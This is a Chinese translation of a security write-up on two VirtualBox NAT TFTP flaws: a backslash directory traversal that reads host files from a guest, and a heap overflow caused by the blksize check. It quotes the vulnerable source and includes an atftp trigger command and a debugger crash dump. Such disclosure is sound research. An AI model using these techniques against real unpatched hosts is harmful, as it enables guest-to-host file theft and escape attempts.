原文地址:https://www.voidsecurity.in/
0x001 前言
NAT模式下的VirtualBox(默认配置)在IP地址10.0.2.4
(随意指定)中运行只读TFTP服务器以支持PXE引导。以下利用的两个漏洞无需特权用户的操作触发,也无需安装Guest Additions,在默认配置下即可触发攻击。
0x002 CVE-2019-2553 - 目录遍历漏洞
TFTP服务器的源代码位于src/VBox/Devices/Network/slirp/tftp.c
,它基于QEMU中所使用的TFTP服务器。
* This code is based on:
*
* tftp.c - a simple, read-only tftp server for qemu
调用函数tftpSecurityFilenameCheck()
验证guest提供的文件路径,如下所示:
/**
* This function evaluate file name.
* @param pu8Payload
* @param cbPayload
* @param cbFileName
* @return VINF_SUCCESS -
* VERR_INVALID_PARAMETER -
*/
DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession)
{
size_t cbSessionFilename = 0;
int rc = VINF_SUCCESS;
AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER);
cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX);
if ( !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3)
|| (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/')
|| RTStrStr((const char *)pcTftpSession->pszFilename, "/../"))
rc = VERR_FILE_NOT_FOUND;
/* only allow exported prefixes */
if ( RT_SUCCESS(rc)
&& !tftp_prefix)
rc = VERR_INTERNAL_ERROR;
LogFlowFuncLeaveRC(rc);
return rc;
}
此代码也是基于QEMU中的验证(slirp/tftp.c
)
/* do sanity checks on the filename */
if (!strncmp(req_fname, "../", 3) ||
req_fname[strlen(req_fname) - 1] == '/' ||
strstr(req_fname, "/../")) {
tftp_send_error(spt, 2, "Access violation", tp);
return;
}
比较有意思的是,在QEMU中上述检查代码一般指定用作于Linux主机。但是,运行在Windows主机上VirtualBox在也依赖于这个相同的验证。由于反斜杠可以在Windows中用作目录分隔符,因此可以绕过在tftpSecurityFilenameCheck()
中的检查,以读取在VirtualBox进程特权下可访问的主机文件。TFTP根文件夹的默认路径是C:\Users\\.VirtualBox\TFTP
,通过合适地构造读取路径可以从主机读取文件。演示视频请访问翻译原文。
0x003 CVE-2019-2552 - 由于TFTP OptionBlkSize的错误验证引发堆溢出
在函数tftpSessionOptionParse()
中设置TFTP选项的值
DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader)
{
...
else if (fWithArg)
{
if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName))
{
rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize);
if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX)
rc = VERR_INVALID_PARAMETER;
}
...
如果值大于UINT16_MAX
,则检查blksize
选项。然后在tftpReadDataBlock()
中使用值OptionBlkSize.u64Value
来读取文件内容
DECLINLINE(int) tftpReadDataBlock(PNATState pData,
PTFTPSESSION pcTftpSession,
uint8_t *pu8Data,
int *pcbReadData)
{
RTFILE hSessionFile;
int rc = VINF_SUCCESS;
uint16_t u16BlkSize = 0;
. . .
AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER);
. . .
u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value;
. . .
rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead);
. . .
}
由于不满足判断pcTftpSession-> OptionBlkSize.u64Value < UINT16_MAX
,在调用RTFileRead()
期间,通过将blksize的值设置为大于MTU,恶意构造的文件内容可以溢出邻近pu8Data
的缓冲区。该漏洞可与目录遍历漏洞结合使用以触发带有受控数据的堆溢出,例如,如果启用了共享文件夹,guest虚拟机可以删除主机中具有任意内容的文件,然后使用目录遍历错误读取该文件。
为了便于调试,我们可以使用VirtualBox for Linux。在主机TFTP根文件夹中创建一个大小为UINT16_MAX
的文件,即~/.config/VirtualBox/TFTP
,然后用一个较大的blksize
值从guest虚拟机中读取该文件。
guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ccf4700 (LWP 11024)]
[----------------------------------registers-----------------------------------]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fff8e5f16dc ('A' ...)
RCX: 0x1
RDX: 0x4141414141414141 ('AAAAAAAA')
RSI: 0x800
RDI: 0x140e730 --> 0x219790326
RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx)
R8 : 0x0
R9 : 0x10
R10: 0x41414141 ('AAAA')
R11: 0x7fff8e5f1de4 ('A' ...)
R12: 0x140e720 --> 0xdead0002
R13: 0x7fff8e5f1704 ('A' ...)
R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...)
R15: 0x140e730 --> 0x219790326
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fff9457d89f <slirp_uma_alloc>: test rax,rax
0x7fff9457d8a2 <slirp_uma_alloc>: je 0x7fff9457d8b0 <slirp_uma_alloc>
0x7fff9457d8a4 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20]
=> 0x7fff9457d8a8 <slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx
0x7fff9457d8ac <slirp_uma_alloc>: mov rax,QWORD PTR [rbx+0x18]
0x7fff9457d8b0 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20]
0x7fff9457d8b4 <slirp_uma_alloc>: mov QWORD PTR [rdx],rax
0x7fff9457d8b7 <slirp_uma_alloc>: mov rax,QWORD PTR [r12+0x88]
[------------------------------------stack-------------------------------------]
0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002
0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045
0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0
0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326
0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0
0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
可以看到该漏洞被成功触发,调试器抛出了Segmentation fault
。
没有评论